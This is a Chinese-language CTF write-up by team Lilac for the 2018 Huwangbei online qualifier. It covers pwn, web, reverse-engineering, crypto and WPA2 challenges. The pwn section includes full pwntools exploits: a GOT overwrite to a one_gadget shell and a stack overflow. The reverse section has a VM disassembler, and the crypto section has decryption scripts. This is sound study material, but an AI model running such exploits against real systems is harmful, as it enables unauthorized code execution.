2018护网杯线上赛 Writeup by Lilac

Lilac / 2018-10-13 23:59:08 / 浏览数 3941 安全技术 CTF 顶(2) 踩(0)

2018护网杯预选赛

TEAM:Lilac

Pwn

shoppingcart

good的modify函数存在越界读写，.data上有个指针0x202068指向自身，可以modify它来leak程序加载的基址，然后modify存放currency的数组(比如currency[0])在存放type的位置伪造指向got表的指针，这里选取了malloc@got，再次modify currency[0]可以拿到libc的地址，然后modify currency[1]，让currency[1]的type的内容也就是type[1]指向type[0],最后modify type[1]修改malloc@got为one_gadget。

```
from pwn import *

def addmoney(content):
   p.recvuntil("EMMmmm, you will be a rich man!\n")
   p.sendline("1")
   p.recvuntil("RMB or Dollar?\n")
   p.sendline(content)

def addgood(size,name):
   p.recvuntil("Now, buy buy buy!\n")
   p.sendline("1")
   p.recvuntil("How long is your goods name?\n")
   p.sendline(str(size))
   p.recvuntil("What is your goods name?\n")
   p.send(str(name))

def deletegood(index):
   p.recvuntil("Now, buy buy buy!\n")
   p.sendline("2")
   p.recvuntil("Which goods that you don't need?\n")
   p.sendline(str(index))

p = remote("49.4.94.186", 30860)
#p = process("./task_shoppingCart")

malloc_got = 0x202050
malloc_so = 0x84130

addmoney("1"*7)
addmoney("2"*7)
#index1 = 0x1fffffffffffffd1L
index1 = (0x010000000000202068 - 0x2021e0)/8
p.sendline("3")

p.recvuntil("Now, buy buy buy!\n")
p.sendline("3")
p.recvuntil("Which goods you need to modify?\n")
p.sendline(str(index1))
p.recvuntil("OK, what would you like to modify ")
elf = u64(p.recv(6).ljust(8,"\x00")) - 0x202068
print hex(elf)
p.send(p64(elf + 0x202068)[0:6])

index2 = (0x202140 + 0x0100000000000000 - 0x2021e0) / 8#money[0]
p.recvuntil("Now, buy buy buy!\n")
p.sendline("3")
p.recvuntil("Which goods you need to modify?\n")
p.sendline(str(index2))
p.recvuntil("OK, what would you like to modify ")
```

```
p.send(p64(elf + malloc_got)[0:6])

index3 = (0x202148 + 0x0100000000000000000 - 0x2021e0) / 8#money[1]
p.recvuntil("Now, buy buy buy!\n")
p.sendline("3")
p.recvuntil("Which goods you need to modify?\n")
p.sendline(str(index3))
p.recvuntil("OK, what would you like to modify ")
p.send(p64(elf + 0x2020a0)[0:6])

index4 = (0x2020a8 + 0x0100000000000000000 - 0x2021e0) / 8#
p.recvuntil("Now, buy buy buy!\n")
p.sendline("3")
p.recvuntil("Which goods you need to modify?\n")
p.sendline(str(index4))
p.recvuntil("OK, what would you like to modify ")
malloc = u64(p.recv(6).ljust(8,"\x00"))
print "malloc: " + hex(malloc)
p.send(p64(malloc)[0:6])
libc = malloc - malloc_so

one_gadget = 0xf1147
one_gadget += libc
p.recvuntil("Now, buy buy buy!\n")
p.sendline("3")
p.recvuntil("Which goods you need to modify?\n")
p.sendline(str(index4))
p.recvuntil("OK, what would you like to modify ")

p.send(p64(one_gadget)[0:6])
p.sendline("1")
p.sendline("1")

p.interactive()
```

gettingstart

程序存在栈溢出，只需要覆盖对应位置的值通过检查就可以getshell

```
from pwn import *

io = remote("117.78.26.97", 31282)

io.send('a' * 0x18 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A))
io.interactive()
```

Web

easy_tornado

根据题目描述可知使用了tornoda框架，进去后根据提示信息render和需要cookiesecret猜测会存在ssti，把签名改成错误跳转到error，error页面存在ssti，过滤了`"%'()*+

Reverse

rerere

通过搜索字符串找到程序校验位置，分析虚表中的函数，发现这又是一个虚拟机，因此只需要按照套路将每一个虚拟机的指令分析清楚，最终分析得到的虚表是这样的：

```
.rdata:004031CC ; const RE::`vftable'
.rdata:004031CC ??_7RE@@6B@     dd offset assign_hi     ; DATA XREF: sub_4016A0+46↑o
.rdata:004031D0                 dd offset get_par_hi
.rdata:004031D4                 dd offset inc_ip
.rdata:004031D8                 dd offset get_par_lo
.rdata:004031DC                 dd offset dec_assign_hi
.rdata:004031E0                 dd offset add_to_hi
.rdata:004031E4                 dd offset subs_to_hi
.rdata:004031E8                 dd offset inc_assign_hi
.rdata:004031EC                 dd offset xor_to_hi
```

```
.rdata:004031F0                 dd offset and_to_hi
.rdata:004031F4                 dd offset mul_to_hi
.rdata:004031F8                 dd offset mod_to_hi
.rdata:004031FC                 dd offset push_hi
.rdata:00403200                 dd offset assign_lo_to_hi
.rdata:00403204                 dd offset load_to_hi
.rdata:00403208                 dd offset push
.rdata:0040320C                 dd offset pop
.rdata:00403210                 dd offset store
.rdata:00403214                 dd offset j_flag_neg1
.rdata:00403218                 dd offset j_flag_1
.rdata:0040321C                 dd offset j_not_flag
.rdata:00403220                 dd offset jmp_bck_cnt
.rdata:00403224                 dd offset cmp_hi_to_lo
.rdata:00403228                 dd offset inc_mem_ptr
.rdata:0040322C                 dd offset dec_mem_ptr
.rdata:00403230                 dd offset xor_block
.rdata:00403234                 dd offset init_regs
.rdata:00403238                 dd offset get_res
.rdata:0040323C                 dd offset execute_vm
```

其中名字中hi表示目标寄存器编号，lo表示源寄存器编号
execute_vm是执行虚拟机代码的函数，执行程序中硬编码的一段虚拟机指令。
在ida中新建一个结构，将各个偏移的名字填上虚表函数名，就可以在execute_vm中看到opcode所对应的具体函数是什么了。
通过分析这些函数的操作也很容易确定虚拟机的结构：

```
00000000 Vm
00000000 vtable          dd ?
00000004 reg0            dd ?
00000008 reg1            dd ?
0000000C reg2            dd ?
00000010 cnt             dd ?
00000014 flag            dd ?
00000018 maybe_mem       dd ?
0000001C field_1C        dd ?
00000020 stack           dd ?
00000024 ip_ptr          dd ?
```

于是可以写python脚本将opcode还原成易读的伪汇编语言的形式

```
code = [79, 0, 0, 0, 47, 85, 5, 84, 48, 70, 0, 71, 34, 72, 2, 75, 51, 73, 79, 0, 0, 0, 70, 84, 16, 72, 1, 77, 39, 79, 0, 0, 0,

opcodes = {67: ("return result", 1),
68: ("j_flag_neg1", 2),
69: ("mod_to_hi", 2),
70: ("load_to_hi", 2),
71: ("xor_to_hi", 2),
72: ("cmp_hi_to_lo", 2),
73: ("inc_mem_ptr", 1),
74: ("and_to_hi", 2),
75: ("j_not_flag", 2),
76: ("xor_block", 16),
77: ("j_flag_1", 2),
78: ("dec_assign_hi", 2),
79: ("push", 5),
80: ("inc_assign_hi", 2),
81: ("assign_lo_to_hi", 2),
82: ("push hi", 2),
83: ("add_to_hi", 2),
84: ("pop hi", 2),
85: ("jmp_bck_cnt", 2),
86: ("dec_mem_ptr", 1),
87: ("store hi", 2),
88: ("mul_to_hi", 2),
89: ("subs_to_hi", 2)}

pc = 0
while pc != len(code):
   opcode = code[pc]
   name = opcodes[opcode][0]
```

```
    length = opcodes[opcode][1]
    print "%03x\t" % pc,
    print name,
    if length == 1:
        print
        pc += 1
    elif length == 2:
        if 'hi' in name:
            print code[pc+1] >> 4, code[pc+1] & 0xf
        else:
            print hex(code[pc+1])
        pc += 2
    elif length == 5:
        num = (code[pc+1] << 24) | (code[pc+2] << 16) | (code[pc+3] << 8) | (code[pc+4] << 0)
        print hex(num)
        pc += 5
    elif length == 16:
        print
        for i in range(15):
            code[i + pc + 1] ^= 0x66
        pc += 16
```

运行得到如下输出（输出中注释是分析过程

```
000 push 0x2f
005 jmp_bck_cnt 0x5
007 pop hi 3 0
009 load_to_hi 0 0
00b xor_to_hi 2 2
00d cmp_hi_to_lo 0 2
00f j_not_flag 0x33 => 0x44
011 inc_mem_ptr
012 push 0x46
017 pop hi 1 0
019 cmp_hi_to_lo 0 1
01b j_flag_1 0x27 => 0x44
01d push 0x30
022 pop hi 1 0
024 cmp_hi_to_lo 0 1
026 j_flag_neg1 0x16 => 0x3e
028 push 0x39
02d pop hi 1 0
02f cmp_hi_to_lo 0 1
031 j_flag_neg1 0xb => 0x3e
033 push 0x41
038 pop hi 0 1
03a cmp_hi_to_lo 0 1
03c j_flag_neg1 0x6 => 0x44
03e xor_to_hi 0 0
040 cmp_hi_to_lo 0 0
042 j_not_flag 0x5 => 0x49
fail:
044 xor_to_hi 0 0
046 inc_assign_hi 0 0
048 return result
049 jmp_bck_cnt 0x40
(check hex digits)

04b push 0x7
050 pop hi 3 0      // cnt = 0x7
052 xor_to_hi 1 1   // reg[1] = 0
back:
054 dec_mem_ptr
055 load_to_hi 0 0  // reg[0] = c
057 push 0x30
05c pop hi 2 0      // reg[2] = 0x30
05e subs_to_hi 0 2  // c-=0x30
060 push 0xa
065 pop hi 2 0      // reg[2] = 10
```

```
067 cmp_hi_to_lo 0 2
069 j_flag_neg1 0x9 // c < 10 => less_than_10
06b push 0x7
070 pop hi 2 0      // reg[2] = 7
072 subs_to_hi 0 2  // c-=7
less_than_10:
074 push 0x10
079 pop hi 2 0
07b mul_to_hi 1 2   i << 4
07d add_to_hi 1 0   i += c
07f jmp_bck_cnt 0x2b => back
081 push 0x33b488ac
086 pop hi 2 0
088 cmp_hi_to_lo 1 2
08a xor_to_hi 0 0
08c j_not_flag 0x3
08e inc_assign_hi 0 0
090 return result
(■■■■■■ "33b488ac"[::-1])

091 push 0x7
096 pop hi 3 0
098 xor_to_hi 1 1
09a dec_mem_ptr
09b load_to_hi 0 0
09d push 0x30
0a2 pop hi 2 0
0a4 subs_to_hi 0 2
0a6 push 0xa
0ab pop hi 2 0
0ad cmp_hi_to_lo 0 2
0af j_flag_neg1 0x9
0b1 push 0x7
0b6 pop hi 2 0
0b8 subs_to_hi 0 2
0ba push 0x10
0bf pop hi 2 0
0c1 mul_to_hi 1 2
0c3 add_to_hi 1 0
0c5 jmp_bck_cnt 0x2b
0c7 push 0x4a0b943f
0cc pop hi 2 0
0ce cmp_hi_to_lo 1 2
0d0 xor_to_hi 0 0
0d2 j_not_flag 0x3
0d4 inc_assign_hi 0 0
0d6 return result
0d7 push 0x7
0dc pop hi 3 0
0de xor_to_hi 1 1
0e0 dec_mem_ptr
0e1 load_to_hi 0 0
0e3 push 0x30
0e8 pop hi 2 0
0ea subs_to_hi 0 2
0ec push 0xa
0f1 pop hi 2 0
0f3 cmp_hi_to_lo 0 2
0f5 j_flag_neg1 0x9
0f7 push 0x7
0fc pop hi 2 0
0fe subs_to_hi 0 2
100 push 0x10
105 pop hi 2 0
107 mul_to_hi 1 2
109 add_to_hi 1 0
10b jmp_bck_cnt 0x2b
10d push 0x7c5cdcec
112 pop hi 2 0
```

```
114 cmp_hi_to_lo 1 2
116 xor_to_hi 0 0
118 j_not_flag 0x3
11a inc_assign_hi 0 0
11c return result
11d push 0x7
122 pop hi 3 0
124 xor_to_hi 1 1
126 dec_mem_ptr
127 load_to_hi 0 0
129 push 0x30
12e pop hi 2 0
130 subs_to_hi 0 2
132 push 0xa
137 pop hi 2 0
139 cmp_hi_to_lo 0 2
13b j_flag_neg1 0x9
13d push 0x7
142 pop hi 2 0
144 subs_to_hi 0 2
146 push 0x10
14b pop hi 2 0
14d mul_to_hi 1 2
14f add_to_hi 1 0
151 jmp_bck_cnt 0x2b
153 push 0x3929751b
158 pop hi 2 0
15a cmp_hi_to_lo 1 2
15c xor_to_hi 0 0
15e j_not_flag 0x3
160 inc_assign_hi 0 0
162 return result
163 push 0x7
168 pop hi 3 0
16a xor_to_hi 1 1
16c dec_mem_ptr
16d load_to_hi 0 0
16f push 0x30
174 pop hi 2 0
176 subs_to_hi 0 2
178 push 0xa
17d pop hi 2 0
17f cmp_hi_to_lo 0 2
181 j_flag_neg1 0x9
183 push 0x7
188 pop hi 2 0
18a subs_to_hi 0 2
18c push 0x10
191 pop hi 2 0
193 mul_to_hi 1 2
195 add_to_hi 1 0
197 jmp_bck_cnt 0x2b
199 push 0x1ef26b2d
19e pop hi 2 0
1a0 cmp_hi_to_lo 1 2
1a2 xor_to_hi 0 0
1a4 j_not_flag 0x3
1a6 inc_assign_hi 0 0
1a8 return result
1a9 push 0x7
1ae pop hi 3 0
1b0 xor_to_hi 1 1
1b2 dec_mem_ptr
1b3 load_to_hi 0 0
1b5 push 0x30
1ba pop hi 2 0
1bc subs_to_hi 0 2
1be push 0xa
1c3 pop hi 2 0
```

```
1c5 cmp_hi_to_lo 0 2
1c7 j_flag_neg1 0x9
1c9 push 0x7
1ce pop hi 2 0
1d0 subs_to_hi 0 2
1d2 push 0x10
1d7 pop hi 2 0
1d9 mul_to_hi 1 2
1db add_to_hi 1 0
1dd jmp_bck_cnt 0x2b
1df push 0x838db52e
1e4 pop hi 2 0
1e6 cmp_hi_to_lo 1 2
1e8 xor_to_hi 0 0
1ea j_not_flag 0x2
1ec inc_assign_hi 0 0
1ee return result
```

分析到090观察到下面都是类似的代码结构，之后直接还原flag就可以了，只需要把比较的十六进制字符串按端序从后往前拼接起来得到
`flag{E25BD838D2B62FE1B1579293CECDC5C7F349B0A4CA884B33}`

Crypto

fez

跟tmctf一道题类似,不过这个更加简单一点,直接表明了迭代了七次:
解密见下:

```
In [30]: test = "6c34525bcc8c004abbb2815031542849daeade4f774425a6a49e545188f670ce4667df9
   ...: db0b7ded2a25cdaa6e2a26f0d384d9699988f"

In [31]: c1 = "8cf87cc3c55369255b1c0dd4384092026aea1e37899675de8cd3a097f00a14a772ff13524
   ...: 0fd03e77c9da02d7a2bc590fe797cfee990"

In [32]: len(c1)
Out[32]: 108

In [33]: c2 = "ec42b9876a716393a8d1776b7e4be84511511ba579404f59956ce6fd12fc6cbfba909c6e5
   ...: a6ab3e746aec5d31dc62e480009317af1bb"

In [34]: len(c2)
Out[34]: 108

In [35]: xor(xor(test[27:],c1[:27],c2[:27]))
---------------------------------------------------------------------------
TypeError                                 Traceback (most recent call last)
<ipython-input-35-fd334b365ad0> in <module>()
----> 1 xor(xor(test[27:],c1[:27],c2[:27]))

TypeError: xor() takes exactly 2 arguments (3 given)

In [36]: xor(xor(test[27:],c1[:27]),c2[:27]))
 File "<ipython-input-36-407099a1f2b3>", line 1
   xor(xor(test[27:],c1[:27]),c2[:27]))
                                      ^
SyntaxError: invalid syntax


In [37]: xor(xor(test[27:],c1[:27]),c2[:27])
---------------------------------------------------------------------------
AssertionError                            Traceback (most recent call last)
<ipython-input-37-f841af8bcd6a> in <module>()
----> 1 xor(xor(test[27:],c1[:27]),c2[:27])

<ipython-input-27-5e9cc4cd38d4> in xor(a, b)
     1 def xor(a,b):
----> 2     assert len(a)==len(b)
     3     c=""
```

```
     4     for i in range(len(a)):
     5         c+=chr(ord(a[i])^ord(b[i]))

AssertionError:

In [38]: test_1 = test.decode("hex")

In [39]: c1_1 = c1.decode("hex")

In [40]: c2_1 = c2.decode("hex")

In [41]: xor(xor(test_1[27:],c1_1[:27]),c2_1[:27])
Out[41]: "1234admin}\xcda\x94\xa9&\x9d\xddY\xa7\xfd\xfd\xeew\x11\x80'\xc9"

In [42]: r = "1234admin}\xcda\x94\xa9&\x9d\xddY\xa7\xfd\xfd\xeew\x11\x80'\xc9"

In [43]: xor(xor(xor(test_1[:27],c1_1[27:]),c2_1[27:]),r)
Out[43]: '7\xe4\x97\x17\xb5 \x02\xac\xe9\xd5\xdb\x81\xa5\xc7=\xb1\xf9\xd4\x94YRT"\xfa\xa0\xa1\xb6'

In [44]: xor(xor(xor(xor(test_1[:27],test_1[27:])),c1_1[27:]),c2_1[27:]),r)
 File "<ipython-input-44-2e3014e54ffa>", line 1
   xor(xor(xor(xor(test_1[:27],test_1[27:])),c1_1[27:]),c2_1[27:]),r)
                                                                   ^
SyntaxError: invalid syntax


In [45]: xor(xor(xor(xor(test_1[:27],test_1[27:]),c1_1[27:]),c2_1[27:]),r)
Out[45]: 'flag{festel_weak_666_lol999'
```

flag :flag{festel_weak_666_lol9991234admin}

wpa2

这一题刚刚没有提示的时候就解出来了,根据nc返回来的内容知道需要解密WPA2的数据包

```
$ nc 117.78.26.200 31322

Welcome to HuWang Bei WPA2 Simulation System.. Initilizing Parameters..

SSID = HuWang

PSK = srGxuFhA9PAc5NsX

AP_MAC = 53:ED:30:6C:EF:56

AP_Nonce = 5bbe3877d034b0fe502277797f21ec82e51ba75d9c7f45d60f87053dd2a920d5

STA_MAC = 99:0B:04:36:5B:84

STA_Nonce = 2ed66e19cc7c7bccb4fd8fb6831a80e85eaddedab4eeaa13f488815e632f3fb7

CCMP Encrypted Packet = 88423a01990b04365b8453ed306cef5653ed306cef5660920000bfc2002021000000d5d9ce63cc5f9c722ccfd2cadacb5e645c
```

利用SSID,PSK,AP_MAC,STA_MAC,STA_Nonce,CCMP Encrypted Packet
等关键字,搜索WPA2的加密模式,懒得自己实现了,搜索到了WPA2,可以直接复用,修改后的脚本如下:

```
from pwn import *
from binascii import a2b_hex, b2a_hex, a2b_qp
from pbkdf2 import PBKDF2
import hmac
from hashlib import sha1
import struct
from Crypto.Cipher import AES

context.log_level ="debug"
io = remote("117.78.26.200", 31322)
data = io.recvuntil("CCMP Encrypted Packet = ")
psk = data.split("PSK = ")[1].split("\r\n")[0]
ap_mac = data.split("AP_MAC = ")[1].split("\r\n")[0].replace(":","")
ap_nonce = data.split("AP_Nonce = ")[1].split("\r\n")[0]
```

```
mac = data.split("STA_MAC = ")[1].split("\r\n")[0].replace(":","")
mac_nonce = data.split("STA_Nonce = ")[1].split("\r\n")[0]
ccmp = io.recv(150)
def PRF512(key,A,B):
   blen = 64
   R    = ''
   for i in range(0,4):
       hmacsha1 = hmac.new(key,A+B+chr(i),sha1)
       R = R+hmacsha1.digest()
   return R[:blen]
def frame_type(packet):
   header_two_bytes = struct.unpack("h", (packet[0:2]))[0]
   fc_type = bin(header_two_bytes)[-8:][4:6]
   if fc_type == "10":
       return "data"
   else:
       return None
def compute_pairwise_master_key(preshared_key, ssid):
   return PBKDF2(preshared_key, ssid, 4096).read(32)

def compute_message_integrity_check(pairwise_transient_key,data):
   return hmac.new(pairwise_transient_key[0:16],data,sha1).digest()[0:16]

def compute_pairwise_transient_key(pairwise_master_key, A, B):
   return PRF512(pairwise_master_key, A, B)
ssid = "HuWang"
preshared_key = psk

# From message 2 in handshake QoS data for 802.11, packet 95 in example pcap
message_2_data = ccmp
message_2_data = a2b_hex(message_2_data)

message_intgrity_code = message_2_data[115:131]
data = message_2_data[34:115] + "\x00"*16 + message_2_data[131:]

# authenticator nonce found in message 1 of handshake, packet 93 in example
a_nonce  = a2b_hex(ap_nonce)

# supplicant nonce found in message 2 of handshake, packet 95 in example
s_nonce  = a2b_hex(mac_nonce)

mac_access_point = a2b_hex(ap_mac)
mac_client   = a2b_hex(mac)

A = "Pairwise key expansion" + '\x00'
B = min(mac_access_point,mac_client)+max(mac_access_point,mac_client)+min(a_nonce,s_nonce)+max(a_nonce,s_nonce)


pairwise_master_key = compute_pairwise_master_key(preshared_key, ssid)
pairwise_transient_key = compute_pairwise_transient_key(pairwise_master_key, A, B)
mic = compute_message_integrity_check(pairwise_transient_key,data)


key_confirmation_key = pairwise_transient_key[0:16]
key_encryption_key = pairwise_transient_key[16:16*2]
temporal_key = pairwise_transient_key[16 * 2:(16 * 2) + 16]
mic_authenticator_tx = pairwise_transient_key[16 * 3:(16 * 3) + 8]
mic_authenticator_rx =  pairwise_transient_key[(16 * 3) + 8:(16 * 3) + 8 + 8]

packet_103_encrypted_total_packet = ccmp
packet_103_encrypted_total_packet = a2b_hex(packet_103_encrypted_total_packet)
packet_103_encrypted_data = packet_103_encrypted_total_packet[34:34+84]

ccmp_header = packet_103_encrypted_total_packet[26:26 + 8]
ieee80211_header = packet_103_encrypted_total_packet[0:26]
source_address = packet_103_encrypted_total_packet[10:16]

PN5 = ccmp_header[7]
PN4 =  ccmp_header[6]
```

```
PN3 =  ccmp_header[5]
PN2 =  ccmp_header[4]
PN1 =  ccmp_header[1]
PN0 =  ccmp_header[0]

last_part_of_nonce = PN5 + PN4 + PN3 + PN2 + PN1 + PN0

flag = a2b_hex('01')
qos_priorty = a2b_hex('00')

nonce_ = qos_priorty + source_address + last_part_of_nonce
IV = flag + nonce_

class WPA2Counter(object):
 def __init__(self, secret):
   self.secret = secret
   self.current = 1
 def counter(self):
   count = a2b_hex(struct.pack('>h', self.current).encode('hex'))
   i = self.secret + count
   self.current += 1
   return i

counter = WPA2Counter(IV)
crypto = AES.new(temporal_key, AES.MODE_CTR, counter=counter.counter)
test = packet_103_encrypted_data[0:-8]
fuck = crypto.decrypt(test)
# io.recvuntil("Input decrypted challenge value in Packet:")
io.send(fuck.split("Challenge Vlaue: ")[1]+"\n")

io.recv()
io.recv()
io.recv()
io.recv()
```

得到的是16byte随机的challenge value,怎么提交都不返回flag,整了两个多小时,觉得应该是题目问题,最后联系主办方,修复题目后,拿到flag:

flag: flag{6ae7ecdd73a5d4fa1d34f5f7b447ca58}

```
[DEBUG] Received 0x4b bytes:
   'Welcome to HuWang Bei WPA2 Simulation System.. Initilizing Parameters..\r\n'
   '\r\n'
[DEBUG] Received 0x1b9 bytes:
   'SSID = HuWang\r\n'
   '\r\n'
   'PSK = rnrVFt9s3x5wbhIc\r\n'
   '\r\n'
   'AP_MAC = 14:53:B9:00:71:17\r\n'
   '\r\n'
   'AP_Nonce = 55edce0680f5091de0a90d0195b66114649cdd673b2e25c3cf835cb6aa202c7e\r\n'
   '\r\n'
   'STA_MAC = 55:54:D4:F1:AA:6E\r\n'
   '\r\n'
   'STA_Nonce = e3f2488f0ad4a80ada5e485a865f57bbcbb8c548490ba03dbfdc4f09f88ebd71\r\n'
   '\r\n'
   'CCMP Encrypted Packet = 88423a015554d4f1aa6e1453b90071171453b900711760920000c1070020520000009e09ba503e99856c151d9d1a2bb1f5
   '\r\n'
[DEBUG] Sent 0x11 bytes:
   'r1TwjR4pgAB7ihOa\n'
[DEBUG] Received 0x4a bytes:
   '\r\n'
   'Congratulations!Your flag is: flag{6ae7ecdd73a5d4fa1d34f5f7b447ca58}\r\n'
```

MISC

迟来的签到题

base64解密后单字节xor,爆破256位即可拿到flag

点击收藏 | 2 关注 | 3

上一篇：GandCrab V5分析 下一篇：2018护网杯线上赛 Writeu...

1. 0 条回复
   - 动动手指，沙发就是你的了！